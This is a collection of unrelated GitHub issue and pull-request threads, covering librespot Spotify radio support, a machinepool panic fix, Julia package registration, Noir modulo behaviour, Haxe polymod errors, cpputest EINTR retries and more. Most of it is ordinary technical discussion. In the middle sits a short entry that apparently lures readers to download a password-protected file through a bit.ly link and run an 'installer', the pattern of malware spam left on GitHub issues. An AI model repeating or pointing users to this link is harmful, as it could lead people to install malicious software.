I think we need #17 to properly support.


Support for Spotify Radio/Dynamic Playlists (Context Support)

 Issue by arigit
Friday May 12, 2017 at 16:48 GMT
Originally opened as https://github.com/plietar/librespot/issues/184

Since forever I've noticed that when playing spotify Radio (launching it from an official spotify android client or from a linux client), librespot will play about ten songs and then it will restart from the first song, instead of continuing to pull new songs to play from the "dynamic playlist".
This indeed seems to be a librespot problem with dynamic playlists (that keep adding content forever). If one plays the media locally, then the client continues adding new content to the dynamic playlist and never repeats a song.
There is a long issue thread in spotify's support site, people complaining that their SpotifyConnect speakers will behave as described above. However, recently spotify people advised that this is not an issue with the Spotify Client, but an issue with very old firmware in the SpotifyConnect / speakers i.e. librespot.
Here's the thread.
https://community.spotify.com/t5/Ongoing-Issues/Radio-not-loading-more-songs-when-using-Spotify-Connect/idc-p/1673495#M42870
Hereby the request to have librespot support spotify's dynamic playlists including Radio

Just to note, the websockets API from Spotify uses context URI's quite a lot, and provides a good example of how they are structured/used if we're looking to implement support for them. /cc @kingosticks fyi.

Is anyone working on this right now perhaps in a fork or another thread? I'd like to help... I'm trying to figure out where to familiarize myself with what's going wrong and what's necessary (re ContextURI) before I make a commitment that I don't have the skills to back up.
I presume that official clients are following the rules 😃so when the platform sends play signals to the connect clients (like librespot) something is going wrong there (as written above).
Seems like @plietar had some detailed understanding about a year ago; is it a state thing, like the playback software needs to be told its in "radio mode" and has to ask for more tracks via some other api? Or is something more magical supposed to happen?
(I've got Chromecasts and other officially supported devices running, but I prefer librespot for a number of reasons, so I'd like to help any effort to bring this to parity.)

Basically you need to add support for fetching a list of tracks given a Context URI. You should be able to see the context uri by adding some println in spirc.rs.
You can look at how the official client fetches the track list using spotify-analyze (works on macOS and soon on linux: https://github.com/librespot-org/spotify-analyze/pull/1). Look at the requests it makes, especially the mercury related ones.
You would then need to reimplement the fetching for each type of Context URI (eg. playlist, radio, album, artist, search, ...). Given a "hermes"/"mercury" URI (starts with hm://) you can fetch the resource using :
let future = session.mercury().get("hm://foo/bar/baz").and_then(|response| {
    protobuf::parse_from_bytes(response.payload[0]).unwrap()
});

This gives you a future which will eventually resolve to the response.
To start off easily, you can reuse the play.rs example and do core.run(future), which will wait for the result.
Let me know if there's anything else you would need help with

I'll also add, you can use Chrome to inspect the websockets API for play.spotify.com if you just want to see the context URIs and the retrieved tracks easily, though it won't help in terms of understanding how to implement it in librespot.

Thanks for the fast response! But what does librespot need to do with these responses?
Do we need a whole suite of logic to be changed according to these instead of the old API/way?
Is it that radical of a change?

I've been tweaking librespot a little for personal purposes and ran into similar issues with shuffling as others have reported. I'm interested in adding support for proper queue and context management. Has any progress been made on fetching the tracklist from a context uri (before I dive too deep down the rabbit hole)?

FWIW: https://github.com/ashthespy/librespot/commit/8a0b004b6c52e5bb7fa2dfe098c112fc9ddcd560 I have working dynamic playlists - except for the dailymix stuff.

Very cool! I'll base my work off of that. Any reason the features on that branch never got merged?

Hmm because I couldn't find the proper mercury endpoint to give me that data in protobuf format. Currently it's in JSON and rather inelegant if you ask me.

@ashthespy If you use hm://context-resolve/v1/ it will give you the next page URL and there you can retrieve the next tracks in JSON format. The problem I am facing is that when I add them to the tracks list and send it to server it returns 500.
The playback works, but the client isn't being updated.

@mendeldesign I have the radio working on librespot-java, version 0.1.3. As sad by Ash there is some junkiness going on, but it works.

@devgianlu  Does the context-resolve endpoint support the daily-mix stuff?

@ashthespy It doesn't, returns 404. I'm hoping the webgate one does.


Fix panic while adding machinepool in existing vpc

Currently, adding machinepool to the cluster installed in existing vpc panics
when subnets are invalid. This is because kubernetes client used to update
machinepool object is not initialized. This PR fixes it.
jira: https://issues.redhat.com/browse/CO-992

Looks good just has a legit formatting failure.

/lgtm


Added -forceReload flag which forces page reload on any file change

I'm developing a blog which is using fetch to lazy load html pages. So currently it doesnt refresh whenever the lazy loaded html is changed since origins html page won't ever be the same.
So this is a quick and dirty way of solving the problem, might also solve some similar problems down the line.

I've used for about a week, works well.


New package: Dualization v0.1.0

Registering package: Dualization
Repository: https://github.com/JuliaOpt/Dualization.jl
Created by: @guilhermebodin
Version: v0.1.0
Commit: 77488a9987306ce32e413780cf9e97085d1da2ad
Reviewed by: @guilhermebodin
Reference: https://github.com/JuliaOpt/Dualization.jl/commit/77488a9987306ce32e413780cf9e97085d1da2ad#commitcomment-34708312

It would be good to add julia itself to the compat section, e.g.:
[compat]
julia = "1"

would mean that the package is compatible with Julia versions [1.0.0, 2.0.0).


Compile error with picocli-shell-jline3 and java modules

I recently posted a question on stackoverflow regarding java modules with picocli.
As I already read your FAQ, I believe the cause is Jline instead of picocli and I should report the issue there?

Hi @StephanStofer,
Yes, looking at the Stackoverflow question and comment by Naman, the problem seems to be with JLine.
It is best to raise an issue in the JLine project.
I haven't checked, but the JLine jar files may not be module-compliant: if multiple jar files contain classes with the same package, that causes problems: such jars cannot be used together. (https://stackoverflow.com/questions/40985153/with-java-9-modules-will-multiple-modules-be-able-to-export-the-same-package)

@remkop thanks for your reply, I will raise an issue in the JLine project.

@StephanStofer Are there any follow-up questions, or can this ticket be closed?

Yep, thanks for your help.


daemonize properly

Internal proxy becomes a daemon but not properly (using daemonize or a crate) so we close stderr/out instead of redirecting it to std/null which is being done in proper way - our current implementation might lead to crashes or issues with the internal proxy.

Think it was done in #1724 ?


apstra_freeform_link resource: detect endpoint type: internal vs. external

The apstra_freeform_link resource is currently unaware of the type (internal/external) of the system specified by the user.
External systems must not have interface_name and transformation_id specified (API enforces this).
Internal systems should not have interface_name and transformation_id specified, but the API accepts a half-baked endpoint specification.
If we knew the type (internal/external) of the generic systems, we could improve things by:

not allowing half-baked links to be created
replacing the API error with our own error

Consider:

create a map[string]bool indicating whether each system is internal during Create().
store the map in provider private data
error during Create() and Update() if the user over or under specifies the link.

This discussion started in #823

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."


Incorrect % (modulo) operator behavior for negative divisors

Aim
Attempted to create a simple program which does the modulo operation between a positive and a negative number.
The following main.nr:
fn main(x: i16, y: i16) {
    println(x % -13);
    println(x % y);
}

with Prover.toml:
x = "169"
y = "-13"

Outputs
169
169

This output is unexpected. It should be
0
0

Another example is the following main.nr:
fn main(x: i16, y: i16) {
    println(x % -107);
    println(x % y);
}

with Prover.toml:
x = "769"
y = "-107"

Outputs
769
769

In Rust the same program would have the output 20. In some other programming languages the output would be -20
Expected Behavior
Consisted behavior of the modulo operator. Currently the modulo operation between negative constants fails to compile but it has undefined behavior for negative integer parameters.
Bug
The modulo operator produces an incorrect value when working with negative values passed as parameters.
To Reproduce

Create a Noir project with the provided code
nargo check
Insert the provided values into the Prover.toml
nargo execute

Workaround
None
Workaround Description
No response
Additional Context
No response
Project Impact
None
Blocker Context
No response
Nargo Version
nargo version = 0.39.0 noirc version = 0.39.0+45eb7568d56b2d254453b85f236d554232aa5df9 (git version hash: 45eb7568d56b2d254453b85f236d554232aa5df9, is dirty: false)
NoirJS Version
No response
Proving Backend Tooling & Version
No response
Would you like to submit a PR for this Issue?
None
Support Needs
No response

Is this really a bug? I get the same result in the circom compiler as well.
template Multiplier() {
    signal input x;
    signal input y;

    log("x%-13: ",x%-13);
    log("x % y: ",x % y);
}

component main = Multiplier();

x%-13:  169
x % y:  169


CPU only

Hi :) Thankyou for this repo!
Can I run the system on CPU alone?
If so, what are the necessary changes required?
I have tried changing the default config variables through  THEANO_FLAGS - "device=cpu" and  "config.device=cpu". But I get below issue. Is there a workaround to not use cudnn?
"Exception: ("We can't determine the cudnn version as it is not available", 'CUDA not available')"

It will run very slowly on a CPU. We haven't tested the code with CPU mode.

@junyanz  Let me know in future if you do. Ty ! :)


tagged_with empty should return everything, not nothing

u = User.tagged_with([], :on => :hats, :any => true) returns []
you would think it would return everything?

in this case it should return nothing. You can look at gem specs to understand behavior.
it "should return an empty scope for empty tags" do
TaggableModel.tagged_with('').should == []
TaggableModel.tagged_with(' ').should == []
TaggableModel.tagged_with(nil).should == []
TaggableModel.tagged_with([]).should == []
end


how to fix this???

this error
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:357: characters 17-18 : hscript.Error has no field e
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:373: characters 70-74 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:379: characters 70-74 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:384: characters 70-74 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:388: characters 69-73 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:392: characters 69-73 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:396: characters 69-73 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:71: characters 52-56 : hscript.Error has no field line
C:/HaxeToolkit/haxe/lib/polymod/git/polymod/hscript/PolymodScriptClass.hx:74: characters 87-91 : hscript.Error has no field line

haxelib install polymod 1.4.3

this happened

again use the old version of polymod haxelib install polymod 1.4.3

omg thx <333
helped me a lot
thx

np


Failed publishing to OSSRH (Sonatype Maven)

https://s01.oss.sonatype.org/#stagingRepositories

Event: Failed: POM Validation
Invalid POM: /com/educards/android-dialogflow/0.1.2/android-dialogflow-0.1.2.pom: Project name missing, Project description missing, Project URL missing, License information missing, SCM URL missing, Developer information missing
Event: Evaluating rule: Signature Validation


Fix Mac OS X debugger failures

caused by waitpid() failing with errno == EINTR.
Fixes issue #615.

I don't understand. It is the waitpid that you need to retry and not the fork ?

And you do want to use a forever loop :)

You are right. But then I am not quite sure what they mean with "restart"? Simply keep waiting?

Okay. Will change test and code accordingly.

At least in that case, continue will work fine

The easiest is to write:
while ((errorCode = wait(..)) != EINTR)
;
On Fri, Apr 24, 2015 at 3:30 PM, arstrube<EMAIL_ADDRESS>wrote:

At least in that case, continue will work fine
—
Reply to this email directly or view it on GitHub
https://github.com/cpputest/cpputest/pull/616#issuecomment-95834411.

Just pushed the fix to the correct problem.
The test sets EINTR only ten times. It will be interesting to see what the debugger does.

Ok, looks good. I'll merge when travis is done.

I think the test doesn't have do return EINTR 10 times, maybe? How about using a bool instead and only returning EINTR once? This should be sufficient to exercise the new code properly, and still fail with the old code?

It worked. Tests don't fail in debugger.

Glad to hear :)
For the record - these tests helped discover and fix a real problem...